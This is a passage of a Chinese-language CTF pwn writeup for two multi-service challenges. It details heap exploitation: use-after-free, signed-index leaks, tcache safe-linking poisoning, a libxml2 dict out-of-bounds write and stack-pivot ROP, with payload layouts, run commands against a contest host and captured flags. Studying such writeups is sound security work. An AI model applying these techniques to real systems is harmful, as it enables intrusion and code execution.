0x23

关卡(4 个 slice + route 全套校验)→ 连 attestor,回 RB4/ATTEST

0x30/0x31

建/读 slice(0x120,magic "RBSLICE3")

0x40

隧道到 attestor(dword_7044 置位后)

3.2 任意读 + 反 key

0x15 的 sub_2410:

if (a1[1] != 8) return 0;
if ((u64)(a1[0] + 0x20000) > 0x40000) return 0;         // off ∈ [-0x20000, 0x20000]
if (a1[3] != mix(a1[4] ^ a1[2] ^ 0x6A09E667F3BCC909)) return 0;
*a2 = *(u64*)((char*)sub_2410 + off);

probe 被 free 后仍可用 0x14 整块重写这 0x90 字节,于是每读一个地址:0x10 → 0x11 → 0x13 → 0x14 → 0x15(0x15 成功后会把别名槽清 0,必须重链)。

读到的关键全局:

0x7048 -> key2         0x7050 -> key1
0x70C0 -> route 指针   0x7060 -> slice 指针数组

broker 的 PIE 基址不用另找:ror(route[0x20],21) ^ route ^ key2 就是创建时的 sub_23E0 运行地址,减 0x23E0 即基址。

3.3 关卡:有符号索引写 route 头

0x23 要求 route 满足:

route+0x08 == route ^ key1
route+0x18 == key1 ^ rol(route+0x10, 9)
route+0x28 == chain(route+0x10 ^ 0xA54FF53A5F1D36F1,再按 4 个 slice 折叠)
route+0x30 == 1
route+0x38 == mix(route[0..6] ^ key2 ^ 0xBB67AE8584CAA73B)
route+0x20 == rol(sub_4000_runtime ^ key2 ^ route, 21)     ← 目标函数地址

但 creation 只写 +0x20/+0x28/+0x30 的一部分,+0x28=0x8000000000、其余为 0,正常指令(0x22)写的是 route+0x40+8*idx,够不到 +0x20。

漏洞:0x22 里索引是 movsx 有符号字节、只做 sil > 0x37 的上界检查:

signed char id = body[0];        // 例如 0xFC = -4
if (id > 0x37) error;            // 负数全部通过
*(u64*)(route + 8*id + 0x40) = body[8:16];

于是 0xFC/0xFD/0xFE/0xFF 分别写 route+0x20 / +0x28 / +0x30 / +0x38,恰好 4 次(byte_70A0[route] 计数上限 4)。把上表的 4 个值算好写进去:

v51    = target ^ obj ^ key2                     # 目标基
v48    = rol(v51, 19)                            # route+0x10
v72    = ror(target ^ rol(obj,13) ^ K58, 27)     # route+0x18
target = rol(sub_4000 ^ key2 ^ route, 21)        # route+0x20
chain  = slice chain                             # route+0x28

再 0x23 送 [0,1,2,3] 四个 slice 槽位,broker 通过 sub_4000 连上 attestor、代发 RA4/BROKER…,回 RB4/ATTEST。

4. 第 2 层:routeattestor(0x51 → RA4/VAULT)

4.1 对象

op

作用

0x10/0x11/0x12

建/链/释放 probe(0x120)

0x13/0x14

dump 0x50 / 整块写 0x120 freed 块

0x20

建 pass(0x120,magic "RRTASCP4")

0x30/0x31/0x32

建/链/释放 tauil(0x180,magic "RRTAUIL4")

0x33/0x34

dump 0x50 / 整块写 0x180 freed 块

0x40

建 tauil

0x41

相对写(目标 u32(obj+0x28)+off+(ror(v48,19)^K60^obj))

0x50/0x51

建 seal(0xD0,magic "RRTSEAL4")/ seal 门

0x60

隧道到 vault(dword_7040 置位后)

4.2 泄漏 key

先 0x30 建 tauil → 0x31 link 到别名 → 0x32 free → 0x40 再建一个 tauil(复用同一块,0x33 dump 出来就是它),从字段反 key:

K60     = ror(buf[0x10], 19) ^ (obj+0x80) ^ obj;      // qword_7060
sub23f0 = buf[0x38] ^ ror(obj, 9) ^ K60;              // 运行地址
K58     = rol(buf[0x18], 27) ^ (obj+0x80) ^ rol(obj,13); // qword_7058
base    = sub23f0 - 0x23F0;

4.3 关卡是死的,直接改 .bss

seal 对象生成时 +0x10 里编码的是 sub_2400,而门的校验也只会算出 sub_2400,永远调不到 sub_4000,dword_7040 永远 0 → 0x51 必定失败。所以必须在内存里改东西。

0x41 的检查(汇编确认,不要信反编译的变量名):

if (obj+0x30 != obj)                       err;   // self
if (obj[0x20] != mix(cnt ^ v48 ^ K60 ^ ror(K58,11) ^ rol(v72,7) ^ 0x8F2BE7D0C59EF568)) err;
if (rol(v72,27) ^ rol(obj,13) ^ K58 != ror(v48,19) ^ K60 ^ obj) err;
if (v48 == (K60 ^ obj))                    err;
if (off + len > u32(obj+0x2c))             err;   // 这里 +0x2c 就是 +44
if (n != len + 4)                          err;
p = u32(obj+0x28) + off + (ror(v48,19) ^ K60 ^ obj);
memcpy(p, body+4, len);

v48 = obj[0x10]、v72 = obj[0x18]。选 v51 = ror(v48,19) 为写目标基址(off=0、u32(obj+0x28)=0),反推:

target  = (base + 0x7040)                # attestor .bss: dword_7040
v51     = target ^ obj ^ K60
v48     = rol(v51, 19)
v72     = ror(target ^ rol(obj,13) ^ K58, 27)
nh      = mix(cnt ^ v48 ^ K60 ^ ror(K58,11) ^ rol(v72,7) ^ 0x8F2BE7D0C59EF568)
img     = dump + zeros; patch +0x10/+0x18/+0x20
0x34 -> 写回整块(经别名,UAF)
0x41 -> body = struct.pack("<HH",0,4)+struct.pack("<I",1)   # 写 4 字节 1 到 dword_7040

然后 0x50 建 seal、0x51 通过 → RA4/VAULT,0x60 就把帧转进 vault。

5. 第 3 层:routevault(opcode 46 → dword_704C)

5.1 协议

请求 magic "RLV3"=0x33564C52,回包 "RLR3";16<=len<=0x610,bodylen==len-16,seq 严格递增。

op

作用

0x7F

ping → RV3/PONG

5

字节码“查询”:可读 qword_71E0(未解锁即可用)

6

解锁(8 字节口令)→ 0x81

24/25/26/27/28

建/链/读/释/整块写 0x140 的 RTICKET3

40/41/42/43/44/45

建/链/读/释/回收/带鉴权写 0x400 的 RCNTEXT3

46

关卡 → 0xE6

96

隧道到 ledger(dword_704C!=0)

5.2 用 opcode 5 的负索引泄漏控制块

qword_71E0 = calloc(1,0x130) 是每会话的“控制块”:+0 key0、+8 key8、+16 key16、+24 self、+32 &sub_2680、+40 key40。

opcode 5 的 body 是 16 字节记录序列([type][val][u16 ck][u32 0][...],ck = ((val ^ 97k ^ (type<<8)) & 0xffff) ^ 0x4D27),其中 '-' 记录会把有符号字节 val 累加到游标,'C' 记录读 *(u64*)(qword_71E0 + 8*cursor + 0x30)。

游标没有下界检查,传 val=0xFA..0xFF(-6..-1)就能读到 +0x00..+0x28:

rel = -6..-1
rec = bytes([ord('-'), rel & 0xff]) + ck  ... + bytes([ord('C'),0]) + ck ... + bytes([ord('y'),0]) + ck

于是拿到 key0/key8/key16/区块地址/&sub_2680/key40,base = key32 - 0x2680。

口令:

pass = rol(key0 ^ key24 ^ key32 ^ key40 ^ 0x452821E638D01377, 19)

opcode 6 + pass → 0x81,解锁。

5.3 伪造两张票据

RTICKET3(0x140):24 建(calloc(0x140),+8 来自 body)→ 25 link → 26 dump 拿到 A = dump[0x10] ^ key8(自地址)→ 27 free → 28 整块 0x140 写:

+0x00 "RTICKET3"
+0x08 body_qword
+0x10 B ^ key8
+0x18 X
+0x20 rol(key40 ^ key8 ^ X ^ A, 17)
+0x28 1
+0x30 mix1(A[0..5] ^ key8 ^ key40 ^ 0xBE5466CF34E90C6C)

RCNTEXT3(0x400):40 建 → 41 link → 42 dump A = dump[8] ^ key8 → 43 free → 44 回收(malloc(0x400)==A 时把前 0x30 抹成 0xA5)→ 45 四次、每次 256 字节、带鉴权写满:

+0x00 "RCNTEXT3"
+0x08 A ^ key8
+0x10 B
+0x18 X
+0x20 rol(A ^ key16 ^ (base+0x2670), 21)     ← 目标函数指针
+0x28 0x3C0
+0x30 1
+0x38 mix1(A[0..6] ^ key16 ^ key40 ^ 0xC0AC29B7C97C50DD)

45 的鉴权: tok = rol(chunk ^ (0x9E3779B97F4A7C15*bank) ^ key40 ^ key16, bank+13)

5.4 sub_2670 是栈迁移

sub_2670: endbr64
          lea rsp, [rdi+0x40]
          ret

opcode 46 校验通过后 p_sub_2670()(rdi 仍是 A)→ rsp = A+0x40,紧接着 ret 从 A+0x40 取下一跳。在 A 里布置 ROP:

A+0x40: base+0x2954   (pop rdi; ret)
A+0x48: A
A+0x50: base+0x4000   (sub_4000)
A+0x58: base+0x2954   (pop rdi; ret)
A+0x60: A+0x3B0
A+0x68: base+0x2670   (二次迁移, rsp=A+0x3F0)
A+0x3F0: base+0x37A5

sub_4000 校验放在 A+0x240..0x2A8 的伪造 "RLEDGER5" 大对象后把 dword_704C=1;二次迁移回到 opcode 46 的后续代码发 0xE6,主循环继续可用(rsp 落在 A 里,单次调用深度 <0x200,够用)。

之后 opcode 96:bodylen-16<=0x5F0 且 dword_704C!=0,向 fd3 写 u32 len + body(body 是完整 ledger 帧),读回 u32 len + 帧,回 0xB0。

6. 第 4 层:routeledger(tcache 毒化 → RL5/COUNCIL)

6.1 信息白给 + manifest VM

  • 0x7F ping 直接返回 48 字节:ctx+0x200 的 keyE[4] + "LGMODMV5";
  • 0x10 是一个 16 字节指令块的“manifest VM”([op][idx][off][0][u16 chk][…],chk=(0x73*i)^(16*idx)^off^(op<<8)^0x5D39,必须恰好 6 个 0x83、0xA6 收尾)。其中 'q' 的游标是有符号且只查上界,ctx+0xC0+8*cursor 可以负索引;4 次调用(每次 6 个连续项)dump ctx[-24..-1] 的 12 对 (tag,value),反推 key0/key1/key2[4]/keyD0/keyD1/keyF,并用 ERMIT/RELAY/LGPIE 三路交叉验证出 PIE base。

6.2 解锁

0x11 需要 ctx+0x228==0xF 且 dword_6028==0,body 是两个哈希:

H(k2,"LUNLOCK5",key0,key1,keyF,kD0) || H(k2,"LTNLOCK5",X,kD1,keyE0,keyE3)

注意 keyF 被 4 次 manifest 用 keyF = mix(keyF ^ H(k2, idx^"LGMODMV5", o0,o1,o4,o5)) 滚动更新过,要按顺序算。

6.3 真正的门:两次 tcache safe-linking 投毒

这不是“过校验”,而是把伪造对象写进 .bss:

  1. 0x20 建 0x98 的 RLGMANF5 对 → 0x21 free → 0x22 dump 40B,解自地址 obj = dump[0x10] ^ mix("RLGMANF5" ^ key0 ^ 1);
  2. 0x23 写 body0 = &0x6270 ^ (obj>>12)、body1 = H("bLGMANF5", …)(glibc 2.35 的 safe-linking 需要 pos >> 12);
  3. 0x24 连做两次 malloc(0x98):第一块拿回 obj、第二块落到 .bss 0x6270,把完整的假 "LPERMIT5" 对象写进去;
  4. 同法用 0x30/0x31/0x32/0x33/0x34 把假 "RLRELAY5" 写到 .bss 0x6070;
  5. 0x40 校验通过 → dword_6024=1 → 回 RL5/COUNCIL。

0x60 隧道写 u32 len + body 给 fd3(council),读回 u32 len + payload,0xB1 原样返回。

7. 第 5 层:routecouncil(有符号 idx 泄漏 + 投毒 → flag)

7.1 先泄漏 key 与 base

  • 连接后先发前缀 RC5/LEDGER/COUNC,之后请求 magic "RNC5",回包 "RNR5";
  • 0x10 idx=0xFC..0xFF:idx 是有符号字节,条件 (u8)(ptra-4)==idx 且 (signed)idx<=3,而 ptra 初值 0 → 0xFC..0xFF 恰好通过,每次回 0x80 + 4 个 qword,4 次把 ::buf_[0..15] 全泄漏出来,同时把 ptra 推到 4。

解码(i 是第几次,j 是组内下标):

u = S((i<<32) | j)                    # S = splitmix 主体
V = ror(val, (11*i + 5 + j) & 63) ^ u ^ (u>>31)
# 偶数列是常量字符串:CCNONCE5/CCTICKT5/CNCKEY05/CNCKEY15/CNCKEY25/CNCKEY35/CNCALT05/CNCALT15
NONCE = V0 ^ m(S("CCNONCE5" ^ NONCE)) ... 以此类推
K0 = V ^ m(S("CCNONCE5" ^ NONCE))
K1 = V ^ m(S("CCTICKT5" ^ K0))
K2 = V ^ m(S("CNCKEY05" ^ K0 ^ K1))
K3 = V ^ m(S("CNCKEY15" ^ K0 ^ K2))
K4 = V + m(S((K3+K1+"CNCKEY25") & M))
K5 = V ^ m(S("CNCKEY35" ^ K0)) ^ rol(K4, 25)
ALT0 = V ^ H("CNCALT05", K0,K1,K2,0)
ALT1 = V ^ H("CNCALT15", K1,K0,K5,0)
  • 0x7F ping 回 32 字节,其中两个 XOR 式泄漏 PIE base(两式互验):
V1 = sub_2740 ^ H("SORACLE5", K0,K1,NONCE,0)
V2 = (base+0x50d0) ^ H("cORACLE5", K1,K0,NONCE,0)

7.2 RLE 过 sub_2740

0x20 的 body 固定 1024 字节,是 [count][value]… 的 RLE;必须 512 组、每组 count=1,展开恰好 512 字节且字节和 mod 256==0。这 512 字节被写到 .bss 0x5260:

  • 前 0x100:32 个 dst_[i] = H(i ^ "CNCPLAN5", K0,K1,ALT[i&1], i);
  • 后 0x100:.bss 0x5360 的 "CNCPRMT5" 对象(+8 K0/+0x10 K1/+0x18 &0x5360/+0x20 &0x50d0/+0x28 &0x2740/+0x30 chain/+0x38.. h1..h4/+0x58 final/+0x60 1)。

chain 从 K0^K1^"CNCPLAN5" 起,32 轮 st = sp(rol(dst_[i], (3+7i)&63) ^ i ^ st);h1..h4/final 见 notes/council.md,全部用上面的 H(10 轮魔改 Feistel,参数顺序在 gate 里是 rcx=NONCE, r8=K1,别弄反)。通过后 dword_5070=1。

7.3 投毒写 gate 对象

  • 0x30 建两个 0x178 的 CNCBALLOT5(0x5060/0x5068);
  • 0x31 依次 free(0x5050=obj1, 0x5048=1);
  • 0x32 dump 40B 解 obj1 = field10 ^ u ^ (u>>31)(u=S(K0 ^ 1 ^ "CBALLOT5"));
  • 0x33 写 body0 = (base+0x50d0) ^ (obj1>>12)、body1 = H("sBALLOT5", …),然后 *obj1 = body0 —— tcache safe-linking 投毒;
  • 0x34 两次 malloc(0x178):第一块拿回 obj1、第二块落到 .bss 0x50d0,两段 memcpy 把 0x178 的 "CNCGATE5" gate 对象写进去(n2=2)。

7.4 总关卡 → flag

0x40 九项校验(gate 头、K0/K1、&0x5360、[0x53b8]、n2==2、函数指针等于 base+0x2c80 等)全过后,sub_2C80 执行:

lseek(4, 0, SEEK_SET);
read(4, buf, 0x100);
reply(0xC0, buf);

fd 4 就是 council 启动时 open("/home/ctf/council.flag") 后 dup2 的只读 flag。

8. 集成:一条 Redis 连接串六层

难点不在单层,而在“隧道套隧道”:

module relay.tunnel ─→ broker 0x40 ─→ attestor 0x60 ─→ vault opcode 96 ─→ ledger 0x60 ─→ council

四条硬规则:

  1. 前缀一个都别自己发:每层前缀由它的父进程在 accept 后代发(attestor 发 RA4/BROKER…、vault 发 RV4/ATTEST…、ledger 发 RL5/VAULT/LEDGER、council 发 RC5/LEDGER/COUNC);
  2. seq 跨层接续:vault 里先用 ledger seq=1 发 ping 验隧道,之后 state['ledger'].seq 置 2 才能给 ledger_lib.run();ledger 结尾用 council seq=1 发 CNCPLAN5,所以 council 注入端从 seq=2 起;
  3. 帧长上限:vault opcode 96 的 body/回包都限 0x600;最大的帧是 council 0x20(council 包 1040B → ledger 帧 1056B → vault body 1056B),刚好过;
  4. 远端不重启:exp_chain.py 只有在本地模式才 pkill redis,远端失败只 sleep 2 后新开连接重试;CLIENT/MODULE 被禁用也不影响(CLIENT ID 只用于文档里的 key1,实际镜像用 snapshot 给的字段)。

stamp 地址改成 stampinfo 泄漏后,甚至不再要求 redis 是全新进程,本地/远端一套代码。

9. 复现

# 本地 lab(WSL):六件套 + redis
bash work/scripts/lab_start.sh
python3 work/scripts/exp_chain.py --host 127.0.0.1 --port 6399

# 远端
python3 work/scripts/exp_chain.py --host 1.14.76.59 --port 18413 --timeout 20

实测(远端):

[+] relay armed (obj=0x7f814c643000, stamps=[0x...9500, 0x...9400, 0x...9200])
[+] broker gate: op=0xa3 body=b'RB4/ATTEST'
[*] attestor gate: op=0xe1 body=b'RA4/VAULT'
[vault] opcode 46 -> op 0xE6  (dword_704C=1) -> opcode 96 -> op 0xB0
[+] vault->ledger 隧道 OK: ledger b'LGR5' op=0x70 ... LGMODMV5
[ledger] permit/relay template -> .bss, council gate ok (dword_6024=1) -> RL5/COUNCIL
[+] ledger->council 隧道 OK: council b'RNR5' op=0x70 body=b'CNCPLAN5'
[+] FLAG: DASCTF{49190317460119079416855869891465}

10. 复盘:六个“同构不同形”的点

层

漏洞形态

模块

对象释放-复用让 snapshot 读到 ledger 头 → key/地址泄漏;stampinfo 泄漏 stamp 自地址

broker

UAF 写 + 相对代码任意读;有符号索引写 route 头

attestor

freed 块复用后整块写;相对写直接改 .bss 的 ready 标志

vault

字节码 VM 的负索引读控制块;lea rsp,[rdi+0x40]; ret 栈迁移 ROP

ledger

manifest VM 负索引泄漏 key;tcache safe-linking 两次投毒写 .bss

council

有符号 idx 泄漏 ::buf_;RLE 写 .bss;safe-linking 投毒写 gate;lseek/read(fd 4)

共同的出题套路:随机 key 全在 .bss 控制块里,且每层都留了一个“能读控制块”或“能写 .bss”的口子;“关卡”被设计成合法路径走不通(attestor 的 sub_2400 vs sub_4000、vault 的栈迁移),必须用内存原语绕过。只要把每层的 ready 标志 或 gate 对象换成自己伪造的,隧道就打通。

四、xmlbridge(PWN,已解)

羊城杯 2026 PWN — xmlbridge Writeup

题目:xmlbridge(XML 桥接与清单保险库利用)
靶机:
nc 1.14.76.59 23875(容器内 listener 9999)
结果:
DASCTF{70327800596870093690811579077759}(两次独立连接一致)
附件:5 个服务 + listener + 精确 libc 2.35 / libxml2 2.9.13

0. 一句话总结

题目是一条五级服务链:

listener(TCP:9999)
   └─exec─> xmlbridge ──unix──> broker ──unix──> manifestvault ──unix──> keeper ──unix──> oracle
             /run/xmlbridge/broker.sock(0666)  manifest.sock(0660)  keeper.sock(0660)  oracle.sock(0660)

只有最后的 oracle 能读 /home/ctf/flag。最外层 xmlbridge 的 D 操作要求
qword_60A0 && *(u32*)(qword_60A0+4) == 1,而这个 0x420 缓冲在 A 里只被
memset 清零——正常协议永远过不去。

本题的核心 trick 是:A 里 xmlDictCreate() 的 entry 表(128 × 0x20 = 0x1000)
恰好紧挨着网关缓冲
s_2;DTD 校验的未声明元素错误回调会把 dict->size 从
128 加 1 变成 129;之后只要 intern 到任意一个
hash % 129 == 128 的名字,
dict 表末尾越界 entry 的
valid = 1 就落在 s_2 + 4 上,网关同时被 B/D 通过。
过网关后,因为整条链都是「2 字节大端长度 + 正文」分帧,而
D 的转发正好是
「2 字节长度帧进、2 字节长度帧出」,所以后面四级服务可以原样塞进
D 隧道跑完。

1. 环境与保护

对象

保护 / 版本

xmlbridge

PIE、Full RELRO、Canary、NX(GCC 11.4,Ubuntu 22.04)

libc

2.35-0ubuntu3.15

libxml2

2.9.13(jammy 包,常见 CVE 已修)

listener 逻辑很简单:accept → fork → dup2(fd,0/1)、open("/dev/null")
dup2 到 2 → execve("/home/ctf/xmlbridge", {path, NULL}, environ)。
所以 stderr 被丢弃,每个 TCP 连接都对应一个全新的 xmlbridge 进程;
每跳后端服务都是 per-connection 会话。

分帧

  • 前端(客户端 ↔ xmlbridge):1 字节 opcode + 4 字节大端长度 + 正文。
  • 所有后端(broker/manifest/keeper/oracle,包括代理转发):2 字节大端长度 + 正文。
  • D 的回复在 xmlbridge 里再包一层 4 字节大端长度 + 正文。

2. xmlbridge 前端

2.1 协议与状态机

op

含义

前置状态

关键动作

L

提交模板 XML(根 sheet,第一个子元素 item)

0

解析后把 item 节点指针存 qword_6060,再 xmlFreeDoc

I

导入修订 XML(根 root,第一个子元素 target)

1

解析,分配 0x78 session(qword_6068),+0x18/+0x20 = target,+0x40 = doc

R

修订文字(≤0x80)

2

xmlNodeSetContent(qword_6060, content)(UAF)

C

封存修订

3

xmlFreeNodeList(session->node)

S

生成快照

4

0x78 假 text 节点 + 0x500 缓冲(填 'A'),qword_6098 = 该缓冲

E

编辑快照

5

xmlNodeSetContent(root->children, content)

A

附件首段

6

建 push parser:自定义 dict、实体加载器、结构化错误回调,选项 0x817

B

附件末段

7

结束解析,校验网关,输出 DOC <content>\n

P

预览

5/6

xmlNodeDump(root),返回 4 字节长度 + XML

D

转交归档服务

8 + 网关

connect("/run/xmlbridge/broker.sock") 并转发

关键全局:

qword_6060  L 的 item 节点(已随 L doc 释放,悬空)
qword_6068  I 的 session 结构
qword_6070  I 的 doc
qword_6078  I 的 root
qword_6088  A 的 parser ctxt
qword_6098  S 的 0x500 快照缓冲
qword_60A0  A 的第二块 0x420(网关缓冲 s_2)
qword_60B0  A 的第一块 0x420(未使用)

2.2 已确认的堆原语

  • L→R 节点 UAF:L 保存 item 后 xmlFreeDoc;R 再对这块调用
    xmlNodeSetContent。用单个 <item> 时,item 块会被 I 的 session 结构复用
    (
    qword_6060 == qword_6068),R 实际改写 session 的 children/last。
  • S/E 的假 text 节点:S 在 0x78 块上伪造
    {type=3, name="text", doc=I doc, content=0x500 缓冲};E 对它调用
    xmlNodeSetContent 时会把 0x500 缓冲 free 进 unsorted bin(0x510 > tcache 上限)。
  • DTD 错误回调:A 开了 DTDVALID,遇到未声明元素触发
    XML_DTD_UNKNOWN_ELEM(534),回调 sub_3147 执行
    ++*(u64*)([0x6098]+0x10),并把 ctxt->validate = 0。

2.3 网关

B(sub_33E7)与 D(sub_2900)都检查:

ctxt->myDoc && ctxt->wellFormed && qword_60A0 && *(u32*)(qword_60A0 + 4) == 1

A(sub_31FD)的分配顺序:

malloc(0x40); malloc(0x40);          // qword_60C0 / qword_60C8,后续未使用
v1 = xmlDictCreate();                // dict 结构 0x40 + 128 项 entry 表 0x1000
qword_60B0 = malloc(0x420);          // 第一块(未使用)
s_2        = malloc(0x420);          // qword_60A0
memset(s_2, 0, 0x420);               // 网关缓冲被清零
qword_6088 = xmlCreatePushParserCtxt(NULL, NULL, NULL, 0, "attachment.xml");
xmlDictFree(ctxt->dict); ctxt->dict = v1;
xmlSetExternalEntityLoader(sub_3089);
xmlSetStructuredErrorFunc(NULL, sub_3147);
xmlCtxtUseOptions(ctxt, 0x817);      // RECOVER|NOENT|DTDLOAD|DTDVALID|NONET
dword_60D4 = 0;
xmlParseChunk(ctxt, buf, len, 0);    // A 的正文

全二进制只有 A 里一条写 qword_60A0 的指令(malloc 结果),没有任何指令写
[qword_60A0+4]。所以网关必须靠内存破坏。

3. 核心突破:dict 表越界写 s_2+4

3.1 先看 A 的堆布局

用下面这组前端消息(这是实测布局):

L = <sheet><item>LLLLLLLL...(0x20 字节文本)</item></sheet>
I = <root><target>TTTT...(0x100 字节文本)</target></root>
R = "hi"
C
S
E = "wo"

E 把 S 的 0x500 缓冲 s_1 free 进 unsorted bin。A 的分配会切这块,
实测(相对
s_1 的偏移):

s_1 (0x500)              = X
dict 结构 (0x40)         = X          ← 0x40 分配切到 s_1 起点
dict entry 表 (0x1000)   = X + 0x5A0  ← 128 * 0x20
s_2 (0x420, 网关缓冲)     = X + 0x5B0  ← 紧跟在 entry 表后面

也就是说:

&dict->dict[128] = table + 0x1000
                 = (&s_2 - 0x10)          // s_2 的 chunk 头
entry[128].valid = *(u32*)(table + 0x1000 + 0x14)
                 = *(u32*)(s_2 + 4)       // ★ 网关要的 +4

3.2 把 dict->size 改成 129

sub_3147 的 ++*(u64*)([0x6098]+0x10) 以前看起来只是「已释放块+0x10」,
但
[0x6098] = s_1,而 A 的 dict 结构恰好复用了 s_1 的起点:

s_1 + 0x10 == dict + 0x10 == &dict->size

于是 128 → 129。xmlDictLookup 里:

okey = xmlDictComputeKey(dict, name, len);
key  = okey % dict->size;      // size == 129
...
entry = &dict->dict[key];      // key 可以取到 128
entry->name  = ret;            // 写到 s_2 - 0x8(chunk size)
entry->len   = l;              // 写到 s_2 + 0
entry->valid = 1;              // ★ 写到 s_2 + 4
entry->okey  = okey;           // 写到 s_2 + 8

插入前会先读 dict->dict[128].valid,即 *(u32*)(s_2+4);A 的 memset 刚把
s_2 清零,所以读到 0,走插入路径,valid = 1 落下。

3.3 触发条件与爆破

A 的正文需要:

  1. 一段 DTD(让 DTDVALID 有东西可校验);
  2. 一个未声明元素,触发 534;
  3. 之后大量不同的元素名,让某个名字的 hash 命中 128。

实测 payload:

<!DOCTYPE root [<!ELEMENT root ANY>]>
<root><zzz/>
  <n0000/><n0001/>...<n0119/>
</root>
  • <zzz/> 未在 DTD 中声明 → 534 → 回调把 dict->size 改成 129,并把
    ctxt->validate=0(后面不再报错,解析继续)。
  • 之后的 nXXXX 每出现一个新名字就 xmlDictLookup 一次;dict 的 hash seed
    每个进程随机,所以哪个名字命中 128 不可预知。
  • 用 120~300 个不同名字,多开几个 TCP 连接(每次 exec 新进程、新 seed),
    几次之内就能命中;命中后
    B 直接回 DOC (不再 ERR)。

注意:越界 entry 会把 s_2 的 chunk size 改成 dict 字符串指针,但 s_2
之后不会被 free,实测不影响
B/D 继续执行。

3.4 为什么不是别的写

之前尝试过的写法都对不上:

  • 错误回调写的是 s_1 + 0x10,和网关的 s_2 + 4 差 0xC;malloc 16 字节对齐,
    没法让
    s_2 = s_1 + 0xC。
  • P 的预览只能 dump 文档,没有地址泄露。
  • 直接改 .bss 需要 PIE 泄露,前端没有。

真正的通路是「复用 s_1 的 dict 结构 + dict 表紧邻 s_2 + 表末尾 entry 的
valid 字段在 +0x14」这三件事凑在一起。

4. 把整条链塞进 D

D(sub_2900)的转发逻辑:

客户端 D 正文
  → 2 字节长度 + 正文 发给 broker.sock
  → 从 broker.sock 读 2 字节长度 + 正文
  → 4 字节大端长度 + 正文 回给客户端

broker/manifest/keeper/oracle 的协议本来就是「2 字节长度 + 正文」,
所以
D 的每一次调用正好对应后端的一次请求/回复。过网关后,
把
pwn_chain.py 里的 Conn("/run/xmlbridge/broker.sock") 换成
「每次
sendmsg 走一次 D,recvmsg 取 D 回包」的适配器即可,后面所有
阶段代码不用改。

class DConn:
    def __init__(self, fe):
        self.fe = fe
        self.pending = None
    def sendmsg(self, data):
        st, body = self.fe.op(b"D", data)   # 前端 op,返回 (状态, 正文)
        if st != "OK":
            raise EOFError(body)
        self.pending = body
    def recvmsg(self):
        b = self.pending; self.pending = None
        return b

5. broker

5.1 协议状态机

0  OPEN <receipt xml>      -> TICKET xxxxxxxx      n2=1
1  ARCHIVE                 -> ARCHIVED(free 收据) n2=2
2/6/9/12/15 NOTE <note>    -> NOTED(malloc 0x90,可重占已释放收据)
3/7/10/13 VIEW             -> WINDOW + 7 字节泄露
4/8/11/14 RELEASE          -> RELEASED(free NOTE)
5  DRAFT                   -> DRAFTED(malloc 0x380,存到全局 ::s1)
16 WRITE <draft>           -> WRITTEN(hex 解码 0x380 到 ::s1)
17 COMMIT                  -> sub_1EFB(::s1, 收据[6]) 栈溢出

5.2 漏洞

  1. 收据 UAF:ARCHIVE 释放收据后仍保留悬空指针;之后同尺寸的 NOTE
    (0x90)会复用它,所以可以用 288 个十六进制字符伪造整张收据。
  2. VIEW 任意地址读:sub_1E0A 把收据 +40 处的有符号偏移加到
    &sub_1E0A 上,读 8 字节(回显低 7 字节):
    *(u64*)(&sub_1E0A + off),偏移限制 ±0x7000。
  3. COMMIT 栈溢出:sub_1EFB 把 0x380 字节拷进 256 字节栈缓冲,
    且
    没有 canary,直接控制 leave; ret。
  4. 网关 sub_1844 的哈希收据校验只是转发器外壳;直接跳到 0x1A33
    (跳过校验的转发循环)即可。

5.3 利用

# 伪造 VIEW 收据:RCPTv2 | ticket | REVIEW | READY | off | 8
off1 = 0x5048 - 0x1E0A      # 读 p_sub_1E0A -> PIE
off2 = 0x5038 - 0x1E0A      # 读 ::s1(DRAFT 缓冲)-> 堆地址
  1. OPEN、ARCHIVE;
  2. NOTE 伪造 VIEW 收据,VIEW 泄露 PIE;RELEASE;
  3. DRAFT,NOTE 伪造 VIEW 收据,VIEW 泄露 DRAFT 地址;RELEASE;
  4. 再走两轮 NOTE/VIEW/RELEASE 过状态机;
  5. NOTE 伪造 COMMIT 收据(PRIVATE/READY,+48 = 0x380);
  6. WRITE 写溢出载荷:+0x100 放 DRAFT 地址作为新 rbp,+0x108 放
    PIE + 0x1A33;
  7. COMMIT → 跳进转发器 → BRIDGE\n,broker 开始在客户端与
    manifestvault 之间透明转发。

6. manifestvault

6.1 协议

0   HELLO                   -> MV3 <secret>        state=1
1/2 MINT <16hex>            -> TICKET <ticket>     state++
3   INDEX <t1>              -> INDEXED             state=4(保存 dest1、t1)
4   DROP <t2>               -> DROPPED             free dest2, state=5
5   DROP <t1>               -> DROPPED             free dest1, state=6
6   GLANCE <t1>             -> TRACE q4 q5 q6      泄露已释放 MANIFEST 的 +0x20/+0x28/+0x30
7   CORRECT <t1> <v16> <v17>-> CORRECTED           *dest1 = v16(tcache next 污染)
8/9 LAYER <288B>            -> LAYERED             malloc(0x120) 任意写
10  TRIGGER                 -> MANIFEST            调用 sub_1B46 代理 keeper

6.2 MANIFEST 结构与泄露

MINT 生成 0x120 的 MANIFEST:

+0x10 = dest
+0x18 = ticket
+0x20 = hash(ticket ^ secret) ^ dest
+0x28 = ticket ^ rol(secret,17) ^ &sub_1A28      // PIE 泄露
+0x30 = hash(dest ^ ticket ^ secret ^ &sub_1A28) // GLANCE 的 q6

GLANCE 拿到 q4/q5/q6 后:

dest1 = q4 ^ splitmix(t1 ^ secret)
pie   = (q5 ^ t1 ^ rol(secret, 17)) - 0x1A28

6.3 tcache 污染 + 写 .bss

CORRECT 的校验:

v16 = target ^ (dest1 >> 12)          # safe-linking
target = pie + 0x5020
v17 = splitmix(secret ^ v16 ^ q6 ^ t1)

通过后把 v16 写到已释放的 dest1 头部,也就是 tcache 的 next。

两次 LAYER(每次 0x120 字节):

  1. 第一次 malloc(0x120) 取走 dest1,tcache 头变成 target;
  2. 第二次 malloc(0x120) 返回 PIE + 0x5020,288 字节 memcpy 直接改写
    .bss 里的门对象:
blob[0:8]   = b"MNFSTv3\x00"
blob[8:16]  = p64(3)
blob[16:24] = p64(pie + 0x1B46)      # keeper 代理函数
blob[24:32] = p64(secret)
blob[32:40] = p64(t1 ^ rol(t2, 9))   # v24
blob[40:48] = p64((pie + 0x1B46) ^ splitmix(secret ^ t1) ^ 0x4D414E4946455354)  # v25
blob[48:56] = p64(rol((t2 + pie + 0x1B46) & M64, 23) ^ splitmix(secret))       # v26

TRIGGER 校验通过后调用 sub_1B46,回 MANIFEST\n 并把连接代理到 keeper。

7. keeper

7.1 协议与格式化字符串

HELLO\n          -> K4 <token>
